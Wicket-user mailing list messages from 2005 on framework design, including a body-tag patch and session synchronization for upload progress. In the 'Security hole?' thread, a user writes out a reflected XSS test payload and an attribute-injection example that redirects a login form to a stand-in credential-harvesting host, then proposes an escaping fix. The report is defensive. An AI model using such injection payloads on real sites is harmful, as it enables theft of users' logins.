Re: [Wicket-user] wicket:id on body tag
Thanks Scott. I'll have a look into it tonight (10 hours from now).
Juergen
On 11/24/05, Scott Sauyet [EMAIL PROTECTED] wrote:
Juergen Donnerstag wrote:
I don't know if my use-case is enough of a reason to clutter up the
interface of WebPage. I also don't know if there is a reason to widen
this facility beyond adding AttributeModifiers. But for what it's
worth, here is my simple suggestion.
Honestly, I'm not in favour of cluttering the interface. What about an
Interface with one method which if your Page implements it, the method
is called. That method could be addBodyAttributeModifier. Thus, we do
not clutter the interface, but it is far less obvious for wicket user
what to do to achieve it = good javadoc/wiki
Attached is another patch doing something similar to this suggestion. I
added wicket.markup.html.IBodyTagContributor with the method
public AttributeModifier[] getBodyAttributeModifiers();
I couldn't really use addBodyAttributeModifier(), as it's
BodyOnLoadContainer which is going to be calling the interface.
I'm not sure if it's more Wicketish to return an array like this or a
List. (I haven't really used Java 1.5 much, but this is one place where
I really long for the generic version with ListAttributeModifier.)
Thanks for the pointer. This solution feels much more acceptable to me.
I still don't know if there is any reason to expand on this, but now
it's easy to simply expand the interface, although I suppose that needs
to be done before the interface is made public.
-- Scott
Index: src/java/wicket/markup/html/BodyOnLoadContainer.java
===
--- src/java/wicket/markup/html/BodyOnLoadContainer.java(revision 103)
+++ src/java/wicket/markup/html/BodyOnLoadContainer.java(working copy)
@@ -75,6 +75,13 @@
{
add(new AttributeModifier(onload, true, new
Model(onLoad)));
}
+if (this.getPage() instanceof IBodyTagContributor) {
+IBodyTagContributor bodyContributor = (IBodyTagContributor)
this.getPage();
+AttributeModifier[] modifiers =
bodyContributor.getBodyAttributeModifiers();
+for (int i = 0; i modifiers.length; i++) {
+add(modifiers[i]);
+}
+}
}
// go on with default implementation
Index: src/java/wicket/markup/html/IBodyTagContributor.java
===
--- src/java/wicket/markup/html/IBodyTagContributor.java(revision 0)
+++ src/java/wicket/markup/html/IBodyTagContributor.java(revision 0)
@@ -0,0 +1,38 @@
+/*
+ * $Id$
+ * $Revision$
+ *
+ *
==
+ * Licensed under the Apache License, Version 2.0 (the License); you may
not
+ * use this file except in compliance with the License. You may obtain a
copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an AS IS BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
under
+ * the License.
+ */
+package wicket.markup.html;
+
+import wicket.AttributeModifier;
+
+
+/**
+ * An interface to be implemented by components which are able to add
+ * information to the body tag associated with the markup.
+ *
+ * @author Scott Sauyet
+ */
+public interface IBodyTagContributor
+{
+ /**
+* Fetch a list of [EMAIL PROTECTED] wicket.AttributeModifier
AttributeModifiers} for
+ * the body tag.
+ *
+ * @return all AttributeModifiers which contribute to the lt;BODYgt;
tag.
+*/
+ public AttributeModifier[] getBodyAttributeModifiers();
+}
---
This SF.net email is sponsored by: Splunk Inc. Do you grep through log files
for problems? Stop! Download the new AJAX search engine that makes
searching your log files as easy as surfing the web. DOWNLOAD SPLUNK!
http://ads.osdn.com/?ad_idv37alloc_id865op=click
___
Wicket-user mailing list
Wicket-user@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/wicket-user
Re: [Wicket-user] Upload Progress bar
yes you are right. There are a things that go outside the session sync for images like the last modified time but handling the resource is also inside the synch block.Maybe it would be nice to not have that, because that looks also for the performance part of a website better. That you can serve out more then one
image at one time.johanOn 11/24/05, Andrew Lombardi [EMAIL PROTECTED] wrote:
johan,ok, i've attempted that, and ran into the same blocking-type behaviour. I've added the following to the init() of my Application:
DynamicByteArrayResource dbar = new DynamicByteArrayResource() { protected byte[] getData() {if(RequestCycle.get()!=null) {ProgressSession sess = (ProgressSession)
RequestCycle.get().getSession();if(sess!=null) { int count = sess.getCount(); String countStatus = count: +count;
return countStatus.getBytes();}}return .getBytes(); } public String getContentType() {
return text/html; }};Application.get().getSharedResources().add(statusResource, dbar);
ProgressSession being a Session implementation holding property count.And then in a Page component, I've grabbed a ResourceReference and printed out the accessor url with this:
ResourceReference ref = new ResourceReference( statusResource);String url = "">System.out.println
(url:+url);And the resource gets pulled up fine without the upload occuring at the same time. but once the upload occurs, it seems to exhibit a blocking behaviour.
any ideas? it shouldn't behave this way right? i'm using 1.1 final.-kinOn Nov 23, 2005, at 3:02 PM, Johan Compagner wrote:
just an idea.The progress bar thread could be a SharedResource request.Those request are not synchonized.And you can give back the progress number everytime the Resource is requested.
johan On 11/23/05, Andrew Lombardi
[EMAIL PROTECTED] wrote: I've got a need to show an Upload progress bar in a Wicket app that
I've built.We're uploading some fairly large files and would liketo see some statuses.Figured out with Igor how to go aboutinjecting a CountingInputStream into the process for FileUpload, but have run into a roadblock!
What ends up happening, is the page runs a _javascript_, to showanother page that meta refreshes and shows a status grabbed from thesession.And at the same time submits the form to start the upload. Only problem is, it seems to block on the form submissionuploading
the file, and never shows the status page until after its doneprocessing the form.Obviously too late.Igor mentioned that this was probably because Wicket synchronizes with the session.And we both think there must be a way around this
that is missing.the code I have overrides:protected WebRequest newWebRequest(HttpServletRequest servletRequest)and then subclasses ServletWebRequest offering a wrapped MultipartServletWebRequest which passes back a custom FileItem that
wraps the InputStream in a CountingInputStream, that in turn updatesthe Session.Whew!That was long.Ideas and thoughts?Thanks! ---
This SF.Net email is sponsored by the JBoss Inc.Get Certified TodayRegister for a JBoss Training Course.Free Certification Examfor All Training Attendees Through End of 2005. For more info visit:
http://ads.osdn.com/?ad_id=7628alloc_id=16845op=click___Wicket-user mailing list
Wicket-user@lists.sourceforge.nethttps://lists.sourceforge.net/lists/listinfo/wicket-user
Re: [Wicket-user] Upload Progress bar
I don't see it as a bug, but more not the best behaviour..The problem is getting rid of that sync block at that levelbecause parseRequest() and response have to be in one synch block because in parseRequest the callComponentListener is called..
if (parseRequest()){ // respond with a page respond();}but in parseRequest() we do the resourceReference() and the staticContent()I think we have remove
those.things from there so this part: else if (resourceReference() || staticContent()) { // if it is, we don't need to update the cluster, etc, and return // false
} else { int rtn = doParseRequest(); if (rtn == PARSE_REQUEST_RETURNING_PAGE) {return true; } xx
and then in RequestCycle.request() have something like this:boolean parsed = false;synchronize(){parsed = parseRequest()if (parsed)
{
// respond with a page
respond();
}}if(!parsed){ callResourceHandlingPartPreviouslyinParseRquest()}then we only have to look if the try/catch/finally block in RequestCycle() must be differentthis:// Attach thread local resources for request
threadAttach();// Response is beginninginternalOnBeginRequest();onBeginRequest();doesn't care if it isn't synched.But this part:
catch (RuntimeException e) {// Handle any runtime exceptioninternalOnRuntimeException(null, e); } finally {// make sure the invokerPage is ended correctly.
try{ if (invokePage != null) { invokePage.internalEndRequest(); }}
catch (RuntimeException e){ log.error(Exception occurred during invokerPage.internalEndRequest, e);}should be in the synch block.
the rest (threadDetach() doesn't have to be)johan
On 11/24/05, Igor Vaynberg [EMAIL PROTECTED] wrote:
thats the whole point. the request to retrieve the status would come from another request thread, maybe an iframe with a meta refresh tag or something. why wouldnt this be advisable? http is a multithreaded protocol, as long as the operation of retrieving a resource does not touch any objects in an unthreadsafe manner it should be fine. like retrieving a package resource, why should threads like that block? for pages we need to synchronize on the session because we save the users a lot of headaches by allowing them not to worry about thread safety.
resources are a different matter. imagine a page with a component that renders twenty package resources that are images. we dont want the browser to only be able to retrieve them one by one, its a performance bottleneck which will lead to much longer page loading times. and no, resource caching is not a solution that will fix performance.
however, seems like that is exactly what is happening currently. wicketservlet.doget() calls requestcycle.request() and the first thing that does is synchronize on the session before it knows if the request is for a resource or for a page. to me this looks like a major bug. what do others think?
-IgorOn 11/23/05, Nick Heudecker
[EMAIL PROTECTED] wrote:
I don't see how the upload wouldn't block the request thread. You'd need to have another thread running to return the status to the user, and I'm not sure that possible, or even advisable.
On 11/24/05, Andrew Lombardi [EMAIL PROTECTED] wrote:
johan,ok, i've attempted that, and ran into the same blocking-type behaviour. I've added the following to the init() of my Application: DynamicByteArrayResource dbar = new DynamicByteArrayResource() {
protected byte[] getData() {if(RequestCycle.get()!=null) {ProgressSession sess = (ProgressSession) RequestCycle.get().getSession();if(sess!=null) {
int count = sess.getCount(); String countStatus = count: +count; return countStatus.getBytes();}
}return .getBytes(); } public String getContentType() {return text/html;
}};Application.get().getSharedResources().add(statusResource, dbar);ProgressSession being a Session implementation holding property count.
And then in a Page component, I've grabbed a ResourceReference and printed out the accessor url with this: ResourceReference ref = new ResourceReference( statusResource);
String url = "">System.out.println(url:+url);And the resource gets pulled up fine without the upload occuring at the same time. but once the upload occurs, it seems to exhibit a blocking behaviour.
any ideas? it shouldn't behave this way right? i'm using 1.1 final.-kinOn Nov 23, 2005, at 3:02 PM, Johan Compagner wrote:
just an idea.The progress bar thread could be a SharedResource request.Those request are not synchonized.And you can give back the progress number everytime the Resource is requested.
johan On 11/23/05, Andrew Lombardi
[EMAIL PROTECTED] wrote: I've got a need to show an Upload progress bar in a Wicket app that
I've built.We're uploading some fairly large files and would liketo see some statuses.Figured out with Igor how to go aboutinjecting a CountingInputStream into the
Re: [Wicket-user] How do I register customed Converter into Application ?
see Application: public IConverterFactory getConverterFactory() { return converterFactory; }On 11/24/05, Ingram Chen
[EMAIL PROTECTED] wrote:Dear all,
I wrote several converters which extends AbstractConverter, but no ideas abouthow to set them as 'default' converter. any idea ?-- Ingram ChenJava [EMAIL PROTECTED]
Institue of BioMedical Sciences Academia Sinica Taiwanblog: http://www.javaworld.com.tw/roller/page/ingramchen
Re: [Wicket-user] Upload Progress bar
boolean parsed = false;synchronize()should be boolean parsed = false;
synchronized(session)right?then we are back to the same problem. it will wait for session to be come available until it can parse the request.we need to somehow check if the url being requested is a resource before we sync on session
something like this in pseudoboolean requestForResource=isRequsetForResource(url);if (requestForResource) {handle resource} else {synchronize(session) { parse(); respond(); }}this can also open a can of worms for dynamic resources that use the session because that access will need to be made threadsafe by the user.
-Igor
On 11/24/05, Johan Compagner [EMAIL PROTECTED] wrote:
I don't see it as a bug, but more not the best behaviour..The problem is getting rid of that sync block at that levelbecause parseRequest() and response have to be in one synch block because in parseRequest the callComponentListener is called..
if (parseRequest()){ // respond with a page respond();}but in parseRequest() we do the resourceReference() and the staticContent()I think we have remove
those.things from there so this part: else if (resourceReference() || staticContent()) { // if it is, we don't need to update the cluster, etc, and return // false
} else { int rtn = doParseRequest(); if (rtn == PARSE_REQUEST_RETURNING_PAGE) {return true; } xx
and then in RequestCycle.request() have something like this:boolean parsed = false;synchronize(){parsed = parseRequest()if (parsed)
{
// respond with a page
respond();
}}if(!parsed){ callResourceHandlingPartPreviouslyinParseRquest()}then we only have to look if the try/catch/finally block in RequestCycle() must be differentthis:// Attach thread local resources for request
threadAttach();// Response is beginninginternalOnBeginRequest();onBeginRequest();doesn't care if it isn't synched.But this part:
catch (RuntimeException e) {// Handle any runtime exceptioninternalOnRuntimeException(null, e); } finally {// make sure the invokerPage is ended correctly.
try{ if (invokePage != null) { invokePage.internalEndRequest(); }}
catch (RuntimeException e){ log.error(Exception occurred during invokerPage.internalEndRequest, e);}should be in the synch block.
the rest (threadDetach() doesn't have to be)johan
On 11/24/05, Igor Vaynberg
[EMAIL PROTECTED] wrote:
thats the whole point. the request to retrieve the status would come from another request thread, maybe an iframe with a meta refresh tag or something. why wouldnt this be advisable? http is a multithreaded protocol, as long as the operation of retrieving a resource does not touch any objects in an unthreadsafe manner it should be fine. like retrieving a package resource, why should threads like that block? for pages we need to synchronize on the session because we save the users a lot of headaches by allowing them not to worry about thread safety.
resources are a different matter. imagine a page with a component that renders twenty package resources that are images. we dont want the browser to only be able to retrieve them one by one, its a performance bottleneck which will lead to much longer page loading times. and no, resource caching is not a solution that will fix performance.
however, seems like that is exactly what is happening currently. wicketservlet.doget() calls requestcycle.request() and the first thing that does is synchronize on the session before it knows if the request is for a resource or for a page. to me this looks like a major bug. what do others think?
-IgorOn 11/23/05, Nick Heudecker
[EMAIL PROTECTED] wrote:
I don't see how the upload wouldn't block the request thread. You'd need to have another thread running to return the status to the user, and I'm not sure that possible, or even advisable.
On 11/24/05, Andrew Lombardi [EMAIL PROTECTED] wrote:
johan,ok, i've attempted that, and ran into the same blocking-type behaviour. I've added the following to the init() of my Application: DynamicByteArrayResource dbar = new DynamicByteArrayResource() {
protected byte[] getData() {if(RequestCycle.get()!=null) {ProgressSession sess = (ProgressSession) RequestCycle.get().getSession();if(sess!=null) {
int count = sess.getCount(); String countStatus = count: +count; return countStatus.getBytes();}
}return .getBytes(); } public String getContentType() {return text/html;
}};Application.get().getSharedResources().add(statusResource, dbar);ProgressSession being a Session implementation holding property count.
And then in a Page component, I've grabbed a ResourceReference and printed out the accessor url with this: ResourceReference ref = new ResourceReference( statusResource);
String url = "">System.out.println(url:+url);And the resource gets pulled up fine without the upload occuring at
Re: [Wicket-user] Upload Progress bar
you are right. My quick prototyping was not completely valid.we should just invert it yes first check for isResource() || isStatic()and if that returns false then do something elseThe problem is that in the end we do this:
else { int rtn = doParseRequest(); if (rtn == PARSE_REQUEST_RETURNING_PAGE) {return true;
} xx
where do we do that now? I haven't used it yet but that is i think user parsed request.Where does that belong?johanOn 11/24/05,
Igor Vaynberg [EMAIL PROTECTED] wrote:
boolean parsed = false;synchronize()should be boolean parsed = false;
synchronized(session)right?then we are back to the same problem. it will wait for session to be come available until it can parse the request.we need to somehow check if the url being requested is a resource before we sync on session
something like this in pseudoboolean requestForResource=isRequsetForResource(url);if (requestForResource) {handle resource} else {synchronize(session) { parse(); respond(); }}this can also open a can of worms for dynamic resources that use the session because that access will need to be made threadsafe by the user.
-Igor
On 11/24/05, Johan Compagner [EMAIL PROTECTED]
wrote:
I don't see it as a bug, but more not the best behaviour..The problem is getting rid of that sync block at that levelbecause parseRequest() and response have to be in one synch block because in parseRequest the callComponentListener is called..
if (parseRequest()){ // respond with a page respond();}but in parseRequest() we do the resourceReference() and the staticContent()I think we have remove
those.things from there so this part: else if (resourceReference() || staticContent()) { // if it is, we don't need to update the cluster, etc, and return // false
} else { int rtn = doParseRequest(); if (rtn == PARSE_REQUEST_RETURNING_PAGE) {return true; } xx
and then in RequestCycle.request() have something like this:boolean parsed = false;synchronize(){parsed = parseRequest()if (parsed)
{
// respond with a page
respond();
}}if(!parsed){ callResourceHandlingPartPreviouslyinParseRquest()}then we only have to look if the try/catch/finally block in RequestCycle() must be differentthis:// Attach thread local resources for request
threadAttach();// Response is beginninginternalOnBeginRequest();onBeginRequest();doesn't care if it isn't synched.But this part:
catch (RuntimeException e) {// Handle any runtime exceptioninternalOnRuntimeException(null, e); } finally {// make sure the invokerPage is ended correctly.
try{ if (invokePage != null) { invokePage.internalEndRequest(); }}
catch (RuntimeException e){ log.error(Exception occurred during invokerPage.internalEndRequest, e);}should be in the synch block.
the rest (threadDetach() doesn't have to be)johan
On 11/24/05, Igor Vaynberg
[EMAIL PROTECTED] wrote:
thats the whole point. the request to retrieve the status would come from another request thread, maybe an iframe with a meta refresh tag or something. why wouldnt this be advisable? http is a multithreaded protocol, as long as the operation of retrieving a resource does not touch any objects in an unthreadsafe manner it should be fine. like retrieving a package resource, why should threads like that block? for pages we need to synchronize on the session because we save the users a lot of headaches by allowing them not to worry about thread safety.
resources are a different matter. imagine a page with a component that renders twenty package resources that are images. we dont want the browser to only be able to retrieve them one by one, its a performance bottleneck which will lead to much longer page loading times. and no, resource caching is not a solution that will fix performance.
however, seems like that is exactly what is happening currently. wicketservlet.doget() calls requestcycle.request() and the first thing that does is synchronize on the session before it knows if the request is for a resource or for a page. to me this looks like a major bug. what do others think?
-IgorOn 11/23/05, Nick Heudecker
[EMAIL PROTECTED] wrote:
I don't see how the upload wouldn't block the request thread. You'd need to have another thread running to return the status to the user, and I'm not sure that possible, or even advisable.
On 11/24/05, Andrew Lombardi [EMAIL PROTECTED] wrote:
johan,ok, i've attempted that, and ran into the same blocking-type behaviour. I've added the following to the init() of my Application: DynamicByteArrayResource dbar = new DynamicByteArrayResource() {
protected byte[] getData() {if(RequestCycle.get()!=null) {ProgressSession sess = (ProgressSession) RequestCycle.get().getSession();if(sess!=null) {
int count = sess.getCount(); String countStatus = count: +count; return countStatus.getBytes();}
}return .getBytes(); }
Re: [Wicket-user] Upload Progress bar
i havent used that either so im not sure. but that probably needs to be inside the synchronized block. its in the else block so its safe to check for resource before that check runs.
im off to bed now, 1am here :)-IgorOn 11/24/05, Johan Compagner [EMAIL PROTECTED] wrote:
you are right. My quick prototyping was not completely valid.we should just invert it yes first check for isResource() || isStatic()
and if that returns false then do something elseThe problem is that in the end we do this:
else { int rtn = doParseRequest(); if (rtn == PARSE_REQUEST_RETURNING_PAGE) {return true;
} xx
where do we do that now? I haven't used it yet but that is i think user parsed request.Where does that belong?
johanOn 11/24/05,
Igor Vaynberg [EMAIL PROTECTED] wrote:
boolean parsed = false;synchronize()should be boolean parsed = false;
synchronized(session)right?then we are back to the same problem. it will wait for session to be come available until it can parse the request.we need to somehow check if the url being requested is a resource before we sync on session
something like this in pseudoboolean requestForResource=isRequsetForResource(url);if (requestForResource) {handle resource} else {synchronize(session) { parse(); respond(); }}this can also open a can of worms for dynamic resources that use the session because that access will need to be made threadsafe by the user.
-Igor
On 11/24/05, Johan Compagner [EMAIL PROTECTED]
wrote:
I don't see it as a bug, but more not the best behaviour..The problem is getting rid of that sync block at that levelbecause parseRequest() and response have to be in one synch block because in parseRequest the callComponentListener is called..
if (parseRequest()){ // respond with a page respond();}but in parseRequest() we do the resourceReference() and the staticContent()I think we have remove
those.things from there so this part: else if (resourceReference() || staticContent()) { // if it is, we don't need to update the cluster, etc, and return // false
} else { int rtn = doParseRequest(); if (rtn == PARSE_REQUEST_RETURNING_PAGE) {return true; } xx
and then in RequestCycle.request() have something like this:boolean parsed = false;synchronize(){parsed = parseRequest()if (parsed)
{
// respond with a page
respond();
}}if(!parsed){ callResourceHandlingPartPreviouslyinParseRquest()}then we only have to look if the try/catch/finally block in RequestCycle() must be differentthis:// Attach thread local resources for request
threadAttach();// Response is beginninginternalOnBeginRequest();onBeginRequest();doesn't care if it isn't synched.But this part:
catch (RuntimeException e) {// Handle any runtime exceptioninternalOnRuntimeException(null, e); } finally {// make sure the invokerPage is ended correctly.
try{ if (invokePage != null) { invokePage.internalEndRequest(); }}
catch (RuntimeException e){ log.error(Exception occurred during invokerPage.internalEndRequest, e);}should be in the synch block.
the rest (threadDetach() doesn't have to be)johan
On 11/24/05, Igor Vaynberg
[EMAIL PROTECTED] wrote:
thats the whole point. the request to retrieve the status would come from another request thread, maybe an iframe with a meta refresh tag or something. why wouldnt this be advisable? http is a multithreaded protocol, as long as the operation of retrieving a resource does not touch any objects in an unthreadsafe manner it should be fine. like retrieving a package resource, why should threads like that block? for pages we need to synchronize on the session because we save the users a lot of headaches by allowing them not to worry about thread safety.
resources are a different matter. imagine a page with a component that renders twenty package resources that are images. we dont want the browser to only be able to retrieve them one by one, its a performance bottleneck which will lead to much longer page loading times. and no, resource caching is not a solution that will fix performance.
however, seems like that is exactly what is happening currently. wicketservlet.doget() calls requestcycle.request() and the first thing that does is synchronize on the session before it knows if the request is for a resource or for a page. to me this looks like a major bug. what do others think?
-IgorOn 11/23/05, Nick Heudecker
[EMAIL PROTECTED] wrote:
I don't see how the upload wouldn't block the request thread. You'd need to have another thread running to return the status to the user, and I'm not sure that possible, or even advisable.
On 11/24/05, Andrew Lombardi [EMAIL PROTECTED] wrote:
johan,ok, i've attempted that, and ran into the same blocking-type behaviour. I've added the following to the init() of my Application: DynamicByteArrayResource dbar = new DynamicByteArrayResource() {
protected byte[] getData() {if(RequestCycle.get()!=null) {
Re: [Wicket-user] Upload Progress bar
ok changed the code over here, this is RequestCycle.request:public final void request() throws ServletException { // Serialize renderings on the session object so that only one page // can be rendered at a time for a given session.
try { // Attach thread local resources for request threadAttach(); // Response is beginning internalOnBeginRequest(); onBeginRequest();
// If request is parsed successfully if(!parseResource()) {synchronized (session){ try {
if (parseRequest()) { // respond with a page respond(); } }
catch (RuntimeException e) { // Handle any runtime exception internalOnRuntimeException(null, e); }
finally { // make sure the invokerPage is ended correctly. try { if (invokePage != null)
{invokePage.internalEndRequest(); } } catch (RuntimeException e)
{ log.error(Exception occurred during invokerPage.internalEndRequest, e); } }} }
} catch (RuntimeException e) { // Handle any runtime exception internalOnRuntimeException(null, e); } finally { // Response is ending
try {internalOnEndRequest(); } catch (RuntimeException e) {log.error(Exception occurred during internalOnEndRequest, e);
} try {onEndRequest(); } catch (RuntimeException e) {log.error(Exception occurred during onEndRequest, e);
} // Release thread local resources threadDetach(); } }And then one extra method in WebRequestCycle:protected final boolean parseResource()
{ // If it's not a resource reference or static content if (resourceReference() || staticContent()) { // Don't update the cluster, not returning a page setUpdateCluster(false);
setResponsePage((Page)null); return true; } return false; }that is the behaviour that was in parseRequest() for resources and static content.Now the only question is is it save for these 2 methods to be not synced:
// Response is beginning
internalOnBeginRequest();
onBeginRequest();
What can a user do there in onBeginRequest() (i think openen sessions for hibernate and those things but that is not problem because those are for the current thread)we do ourselfs Session.updateSession() where we loop and order pages(sets) and set those in the session if they wheren't already and so on.
I think that we don't have to do that when it is a Resource lookup but i am not sure.I am also not sure if Session.updateSession() can run twice at the same time or at the same time if a page map would be updated by another thread that is in
callComponentListener area... A bit tricky..johanOn 11/24/05, Igor Vaynberg [EMAIL PROTECTED]
wrote:i havent used that either so im not sure. but that probably needs to be inside the synchronized block. its in the else block so its safe to check for resource before that check runs.
im off to bed now, 1am here :)-IgorOn 11/24/05, Johan Compagner
[EMAIL PROTECTED] wrote:
you are right. My quick prototyping was not completely valid.we should just invert it yes first check for isResource() || isStatic()
and if that returns false then do something elseThe problem is that in the end we do this:
else { int rtn = doParseRequest(); if (rtn == PARSE_REQUEST_RETURNING_PAGE) {return true;
} xx
where do we do that now? I haven't used it yet but that is i think user parsed request.Where does that belong?
johanOn 11/24/05,
Igor Vaynberg [EMAIL PROTECTED] wrote:
boolean parsed = false;synchronize()should be boolean parsed = false;
synchronized(session)right?then we are back to the same problem. it will wait for session to be come available until it can parse the request.we need to somehow check if the url being requested is a resource before we sync on session
something like this in pseudoboolean requestForResource=isRequsetForResource(url);if (requestForResource) {handle resource} else {synchronize(session) { parse(); respond(); }}this can also open a can of worms for dynamic resources that use the session because that access will need to be made threadsafe by the user.
-Igor
On 11/24/05, Johan Compagner [EMAIL PROTECTED]
wrote:
I don't see it as a bug, but more not the best behaviour..The problem is getting rid of that sync block at that levelbecause parseRequest() and response have to be in one synch block because in parseRequest the callComponentListener is called..
if (parseRequest()){ // respond with a page respond();}but in parseRequest() we do the resourceReference() and the staticContent()I think we have remove
those.things from there so this part: else if (resourceReference() || staticContent()) { // if it is, we don't need to update the cluster, etc, and return // false
} else { int rtn = doParseRequest(); if (rtn == PARSE_REQUEST_RETURNING_PAGE) {return true; } xx
and then in RequestCycle.request() have something like this:boolean parsed =
Re: [Wicket-user] anyone built a large app with wicket?
Hi, I'm probably late with this one- just returned from vacation :-) Check this out: http://www.ibfd.org/portal/app?bookmarkablePage=home FrancisOn 11/18/05, Sam Gendler [EMAIL PROTECTED] wrote: Can someone out there who has used wicket to build a fairly fullfeatured application provide a URL for me to check it out?I am goingto be building an app that will need _javascript_ drop down menus(created programmatically), forms with optional fields depending upon authentication role, _javascript_ based tooltips (or at least aclickable help icon next to form fields), and wizard-like multi-pageforms.I'd love to see examples of all or most of those thingsimplemented in wicket, in order to ensure that such things are possible within wicket as it currently stands.I am particularlyconcerned about being able to prgrammatically include componentsconditionally, since both my menus and my forms will vary dependingupon a User's role. Thanks.---This SF.Net email is sponsored by the JBoss Inc.Get Certified TodayRegister for a JBoss Training Course.Free Certification Exam for All Training Attendees Through End of 2005. For more info visit:http://ads.osdn.com/?ad_idv28alloc_id845opclick___ Wicket-user mailing listWicket-user@lists.sourceforge.nethttps://lists.sourceforge.net/lists/listinfo/wicket-user
[Wicket-user] Security hole?
Hi,
I have built several forms using Wicket. Just out of curiosity I tried
to enter the following line into a text field:
scriptalert('Soylent Green Is People');/script test=
When I reload the form, the JavaScript code gets executed. Shouldn't
such special characters be converted to HTML entities when the page gets
parsed? (You know lt; instead of and so forth)
Cheers,
Johannes.
---
This SF.net email is sponsored by: Splunk Inc. Do you grep through log files
for problems? Stop! Download the new AJAX search engine that makes
searching your log files as easy as surfing the web. DOWNLOAD SPLUNK!
http://ads.osdn.com/?ad_id=7637alloc_id=16865op=click
___
Wicket-user mailing list
Wicket-user@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/wicket-user
Re: [Wicket-user] Security hole?
so when i have this:x = 6 7 10 5as text in my model it gets encoded into html? (And thats what i see?)That is something i don't want The problem you describe is i think the at the beginning that makes it all possible,
(else it was just a text value of the value attribute)johanOn 11/24/05, Johannes Fahrenkrug [EMAIL PROTECTED]
wrote:Hi,I have built several forms using Wicket. Just out of curiosity I tried
to enter the following line into a text field:scriptalert('Soylent Green Is People');/script test=When I reload the form, the _javascript_ code gets executed. Shouldn'tsuch special characters be converted to HTML entities when the page gets
parsed? (You know lt; instead of and so forth)Cheers,Johannes.---This SF.net email is sponsored by: Splunk Inc. Do you grep through log files
for problems?Stop!Download the new AJAX search engine that makessearching your log files as easy as surfing theweb.DOWNLOAD SPLUNK!
http://ads.osdn.com/?ad_id=7637alloc_id=16865op=click___Wicket-user mailing listWicket-user@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/wicket-user
Re: [Wicket-user] Security hole?
Johan Compagner wrote:
so when i have this:
x = 6 7 10 5
as text in my model it gets encoded into html? (And thats what i see?)
That is something i don't want
No, I think this would be the right thing to do:
the value of the model is x = 6 7 10 5
but as soon as wicket renders the page and the value of the input field
that the model is attached to,
it should render the value as x = 6 lt; 7 amp; 10 gt; 5
so that the html source will read
input type=text value=x = 6 lt; 7 amp; 10 gt; 5
instead of
input type=text value=x = 6 7 10 5
special chars should only be RENDERED as html entities, not saved as
html entities in the model.
The problem you describe is i think the at the beginning that makes
it all possible,
(else it was just a text value of the value attribute)
the makes it possible to break out of the value parameter of the input
field. That could pose a security risk, though.
Imagine this: You have a login form that saves the username in case the
login failed and the page is reloaded.
Some malicious person opens the login page and enters this:
onChange=document.form[0].action='http://loginAndPasswordHarvester.com'
dummy=
He sends off the form, it gets reloaded because the login is invalid
and he leaves the terminal for someone else to login.
When someone else trys to log in, their username and password get sent
to a different server.
So I guess rendering special characters as html entities might be a good
idea.
Cheers,
Johannes.
johan
On 11/24/05, *Johannes Fahrenkrug* [EMAIL PROTECTED]
mailto:[EMAIL PROTECTED] wrote:
Hi,
I have built several forms using Wicket. Just out of curiosity I
tried
to enter the following line into a text field:
scriptalert('Soylent Green Is People');/script test=
When I reload the form, the JavaScript code gets executed. Shouldn't
such special characters be converted to HTML entities when the
page gets
parsed? (You know lt; instead of and so forth)
Cheers,
Johannes.
---
This SF.net email is sponsored by: Splunk Inc. Do you grep through
log files
for problems? Stop! Download the new AJAX search engine that makes
searching your log files as easy as surfing the web. DOWNLOAD
SPLUNK!
http://ads.osdn.com/?ad_id=7637alloc_id=16865op=click
http://ads.osdn.com/?ad_id=7637alloc_id=16865op=click
___
Wicket-user mailing list
Wicket-user@lists.sourceforge.net
mailto:Wicket-user@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/wicket-user
---
This SF.net email is sponsored by: Splunk Inc. Do you grep through log files
for problems? Stop! Download the new AJAX search engine that makes
searching your log files as easy as surfing the web. DOWNLOAD SPLUNK!
http://ads.osdn.com/?ad_id=7637alloc_id=16865op=click
___
Wicket-user mailing list
Wicket-user@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/wicket-user
Re: [Wicket-user] Security hole?
This problem is not only a security problem, but also a bug :
Indeed, please go to the Wicket Examples, and try this: (http://www.wicket-library.com/wicket-examples/index.html
)
-enter this in the first textfield of the forminput example : My team's name is Wicket's team
- Then erase the value of the Integer textfield (in order to generate an invalid input).
- Submit the form
You can see that the form will not be correctly re-displayed ( check the content of the String textfield)
The problem may be solved by replacing the FormComponent.getValue() method return statement :
return NO_INVALID_INPUT.equals(invalidInput) ? getModelValue() : invalidInput;
by this one:
return NO_INVALID_INPUT.equals(invalidInput) ? getModelValue() : Strings.escapeMarkup(invalidInput);
( Please note that Component.getModelObjectAsString() (html) escapes the value of the model)
HTH,
--
Laurent
On 11/24/05, Johannes Fahrenkrug [EMAIL PROTECTED] wrote:
Johan Compagner wrote: so when i have this: x = 6 7 10 5
as text in my model it gets encoded into html? (And thats what i see?) That is something i don't wantNo, I think this would be the right thing to do:the value of the model is x = 6 7 10 5
but as soon as wicket renders the page and the value of the input fieldthat the model is attached to,it should render the value as x = 6 lt; 7 amp; 10 gt; 5so that the html source will read
input type=text value=x = 6 lt; 7 amp; 10 gt; 5instead ofinput type=text value=x = 6 7 10 5special chars should only be RENDERED as html entities, not saved as
html entities in the model. The problem you describe is i think the at the beginning that makes it all possible, (else it was just a text value of the value attribute)
the makes it possible to break out of the value parameter of the inputfield. That could pose a security risk, though.Imagine this: You have a login form that saves the username in case thelogin failed and the page is reloaded.
Some malicious person opens the login page and enters this: href="">http://loginAndPasswordHarvester.com'dummy=
He sends off the form, it gets reloaded because the login is invalidand he leaves the terminal for someone else to login.When someone else trys to log in, their username and password get sentto a different server.
So I guess rendering special characters as html entities might be a goodidea.Cheers,Johannes. johan On 11/24/05, *Johannes Fahrenkrug*
[EMAIL PROTECTED] mailto:[EMAIL PROTECTED] wrote: Hi, I have built several forms using Wicket. Just out of curiosity I
tried to enter the following line into a text field: scriptalert('Soylent Green Is People');/script test= When I reload the form, the _javascript_ code gets executed. Shouldn't
such special characters be converted to HTML entities when the page gets parsed? (You know lt; instead of and so forth) Cheers, Johannes.
